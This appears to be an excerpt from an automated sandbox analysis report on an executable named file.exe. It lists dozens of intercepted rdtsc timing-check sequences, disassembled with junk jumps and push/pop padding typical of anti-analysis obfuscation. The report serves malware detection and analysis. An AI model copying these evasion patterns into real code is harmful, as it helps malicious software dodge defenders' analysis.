Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2FD3 second address: 7E2FD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2FD7 second address: 7E2FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2FE3 second address: 7E2FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800121 second address: 800127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF3CB second address: 7FF3E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF3E5 second address: 7FF3FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F60A4BE8BE1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF3FF second address: 7FF415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F60A4E98EFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF696 second address: 7FF6B3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F60A4BE8BE3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF6B3 second address: 7FF6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFA70 second address: 7FFA9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDDh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F60A4BE8BE5h 0x00000011 jmp 00007F60A4BE8BDDh 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFA9C second address: 7FFAA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFAA2 second address: 7FFAA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802DAC second address: 802DB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F60A4E98EF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802DB7 second address: 802E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F60A4BE8BE4h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ebx 0x00000011 call 00007F60A4BE8BD8h 0x00000016 pop ebx 0x00000017 mov dword ptr [esp+04h], ebx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc ebx 0x00000024 push ebx 0x00000025 ret 0x00000026 pop ebx 0x00000027 ret 0x00000028 add edx, dword ptr [ebp+122D23D5h] 0x0000002e push 00000004h 0x00000030 movsx edx, bx 0x00000033 call 00007F60A4BE8BD9h 0x00000038 jnp 00007F60A4BE8BE4h 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802E14 second address: 802E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718C1D second address: 718C27 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 718C27 second address: 718C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4E98F06h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49902AD second address: 49902BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49902BC second address: 49902E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F60A4E98F05h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov edi, esi 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49902E2 second address: 499030B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60A4BE8BDDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 499030B second address: 4990356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov bh, 72h 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F60A4E98F02h 0x00000016 xor esi, 210E61D8h 0x0000001c jmp 00007F60A4E98EFBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov edx, dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4990356 second address: 499035C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0016 second address: 49C0055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4E98F06h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F60A4E98EFBh 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F60A4E98F05h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0055 second address: 49C009E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F60A4BE8BDCh 0x00000012 and al, FFFFFF88h 0x00000015 jmp 00007F60A4BE8BDBh 0x0000001a popfd 0x0000001b push ecx 0x0000001c mov esi, ebx 0x0000001e pop edx 0x0000001f popad 0x00000020 xchg eax, ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F60A4BE8BDDh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C009E second address: 49C00BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00BA second address: 49C00D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00D4 second address: 49C00DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00DA second address: 49C00DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00DE second address: 49C00EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00EC second address: 49C0111 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F60A4BE8BE0h 0x0000000a adc ch, FFFFFFD8h 0x0000000d jmp 00007F60A4BE8BDBh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0111 second address: 49C017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F60A4E98EFFh 0x00000009 adc ax, 709Eh 0x0000000e jmp 00007F60A4E98F09h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push ebx 0x00000018 pushad 0x00000019 pushad 0x0000001a jmp 00007F60A4E98F06h 0x0000001f push ecx 0x00000020 pop edx 0x00000021 popad 0x00000022 mov ax, 939Dh 0x00000026 popad 0x00000027 mov dword ptr [esp], esi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F60A4E98EFFh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C017B second address: 49C0181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0181 second address: 49C01F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007F60A4E98F07h 0x00000010 nop 0x00000011 pushad 0x00000012 mov di, ax 0x00000015 movzx eax, dx 0x00000018 popad 0x00000019 push eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d pop ebx 0x0000001e call 00007F60A4E98EFEh 0x00000023 pop esi 0x00000024 popad 0x00000025 popad 0x00000026 nop 0x00000027 pushad 0x00000028 mov si, di 0x0000002b mov di, 0B7Eh 0x0000002f popad 0x00000030 push dword ptr [ebp+08h] 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007F60A4E98EFEh 0x0000003c sub cl, 00000048h 0x0000003f jmp 00007F60A4E98EFBh 0x00000044 popfd 0x00000045 mov cx, D2BFh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0253 second address: 49C027B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C027B second address: 49C0280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0280 second address: 49C02B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b jmp 00007F60A4BE8BE0h 0x00000010 je 00007F60A4BE8C3Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov si, bx 0x0000001c mov eax, edx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0335 second address: 49C037F instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60A4E98F08h 0x00000008 sbb cl, FFFFFFA8h 0x0000000b jmp 00007F60A4E98EFBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov cx, AB9Fh 0x00000017 popad 0x00000018 pop esi 0x00000019 jmp 00007F60A4E98F02h 0x0000001e leave 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 mov edx, ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0080 second address: 49B0084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0084 second address: 49B008A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B008A second address: 49B0132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 5D3AA6ADh 0x00000010 jmp 00007F60A4BE8BE0h 0x00000015 call 00007F60A4BE8BD9h 0x0000001a jmp 00007F60A4BE8BE0h 0x0000001f push eax 0x00000020 jmp 00007F60A4BE8BDBh 0x00000025 mov eax, dword ptr [esp+04h] 0x00000029 jmp 00007F60A4BE8BE9h 0x0000002e mov eax, dword ptr [eax] 0x00000030 pushad 0x00000031 pushad 0x00000032 mov dx, FC80h 0x00000036 jmp 00007F60A4BE8BE9h 0x0000003b popad 0x0000003c mov eax, 5FEB3747h 0x00000041 popad 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007F60A4BE8BDFh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0132 second address: 49B0138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0138 second address: 49B016A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F60A4BE8BE7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B016A second address: 49B01FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000000h] 0x0000000f pushad 0x00000010 movzx eax, dx 0x00000013 movsx edx, si 0x00000016 popad 0x00000017 nop 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F60A4E98EFEh 0x0000001f sbb ch, 00000048h 0x00000022 jmp 00007F60A4E98EFBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F60A4E98F08h 0x0000002e or esi, 423DC6A8h 0x00000034 jmp 00007F60A4E98EFBh 0x00000039 popfd 0x0000003a popad 0x0000003b push eax 0x0000003c pushad 0x0000003d popad 0x0000003e nop 0x0000003f jmp 00007F60A4E98EFCh 0x00000044 sub esp, 18h 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01FA second address: 49B01FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B01FE second address: 49B0204 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0204 second address: 49B02D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push esi 0x0000000c mov ecx, edx 0x0000000e pop ebx 0x0000000f pushfd 0x00000010 jmp 00007F60A4BE8BE6h 0x00000015 add cx, ADC8h 0x0000001a jmp 00007F60A4BE8BDBh 0x0000001f popfd 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F60A4BE8BDFh 0x00000029 sub esi, 77FCE40Eh 0x0000002f jmp 00007F60A4BE8BE9h 0x00000034 popfd 0x00000035 jmp 00007F60A4BE8BE0h 0x0000003a popad 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F60A4BE8BDEh 0x00000043 sub ah, FFFFFFB8h 0x00000046 jmp 00007F60A4BE8BDBh 0x0000004b popfd 0x0000004c mov eax, 578481EFh 0x00000051 popad 0x00000052 xchg eax, esi 0x00000053 jmp 00007F60A4BE8BE2h 0x00000058 push eax 0x00000059 jmp 00007F60A4BE8BDBh 0x0000005e xchg eax, esi 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02D9 second address: 49B02E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02E0 second address: 49B02FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4BE8BE9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02FD second address: 49B03EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F60A4E98F03h 0x00000013 jmp 00007F60A4E98F03h 0x00000018 popfd 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F60A4E98F09h 0x00000020 xchg eax, edi 0x00000021 pushad 0x00000022 mov bh, al 0x00000024 mov dh, 92h 0x00000026 popad 0x00000027 mov eax, dword ptr [769B4538h] 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F60A4E98EFEh 0x00000033 adc si, 2BF8h 0x00000038 jmp 00007F60A4E98EFBh 0x0000003d popfd 0x0000003e mov ebx, ecx 0x00000040 popad 0x00000041 xor dword ptr [ebp-08h], eax 0x00000044 jmp 00007F60A4E98F02h 0x00000049 xor eax, ebp 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007F60A4E98F07h 0x00000052 and eax, 10598D1Eh 0x00000058 jmp 00007F60A4E98F09h 0x0000005d popfd 0x0000005e pushad 0x0000005f push eax 0x00000060 pop edi 0x00000061 push esi 0x00000062 pop edx 0x00000063 popad 0x00000064 popad 0x00000065 nop 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F60A4E98EFBh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B03EE second address: 49B040E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F60A4BE8BDEh 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B040E second address: 49B0412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0412 second address: 49B042F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B042F second address: 49B043F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4E98EFCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B043F second address: 49B049B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b jmp 00007F60A4BE8BE7h 0x00000010 mov dword ptr fs:[00000000h], eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F60A4BE8BE4h 0x0000001d and esi, 35409498h 0x00000023 jmp 00007F60A4BE8BDBh 0x00000028 popfd 0x00000029 mov edi, esi 0x0000002b popad 0x0000002c mov dword ptr [ebp-18h], esp 0x0000002f pushad 0x00000030 movzx ecx, di 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B049B second address: 49B052C instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60A4E98F06h 0x00000008 and esi, 029F5628h 0x0000000e jmp 00007F60A4E98EFBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 mov eax, dword ptr fs:[00000018h] 0x0000001d jmp 00007F60A4E98F06h 0x00000022 mov ecx, dword ptr [eax+00000FDCh] 0x00000028 jmp 00007F60A4E98F00h 0x0000002d test ecx, ecx 0x0000002f jmp 00007F60A4E98F00h 0x00000034 jns 00007F60A4E98F42h 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F60A4E98F07h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B052C second address: 49B0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0532 second address: 49B0536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0536 second address: 49B057B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d jmp 00007F60A4BE8BE6h 0x00000012 mov ecx, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F60A4BE8BE7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B057B second address: 49B0593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4E98F04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0179 second address: 49A01D9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F60A4BE8BE4h 0x00000008 sbb esi, 27D476C8h 0x0000000e jmp 00007F60A4BE8BDBh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007F60A4BE8BE8h 0x0000001c add ax, F928h 0x00000021 jmp 00007F60A4BE8BDBh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c movsx edx, si 0x0000002f pushad 0x00000030 popad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A01D9 second address: 49A0216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F60A4E98F09h 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov esi, 3E79E083h 0x00000016 pushad 0x00000017 mov ebx, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0216 second address: 49A024C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 jmp 00007F60A4BE8BDEh 0x0000000d sub esp, 2Ch 0x00000010 pushad 0x00000011 mov cl, 08h 0x00000013 mov edi, 3A4CADDEh 0x00000018 popad 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F60A4BE8BE1h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A024C second address: 49A02BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushfd 0x00000006 jmp 00007F60A4E98F03h 0x0000000b or ch, FFFFFFEEh 0x0000000e jmp 00007F60A4E98F09h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esp], ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov eax, ebx 0x0000001f pushfd 0x00000020 jmp 00007F60A4E98EFFh 0x00000025 add ch, FFFFFFFEh 0x00000028 jmp 00007F60A4E98F09h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02BB second address: 49A02CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60A4BE8BDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A02CB second address: 49A02CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0327 second address: 49A032D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A032D second address: 49A0387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98EFAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007F60A4E98F01h 0x00000010 sub edi, edi 0x00000012 jmp 00007F60A4E98F07h 0x00000017 inc ebx 0x00000018 pushad 0x00000019 call 00007F60A4E98F04h 0x0000001e mov ax, B8C1h 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 movsx edi, cx 0x00000028 rdtsc
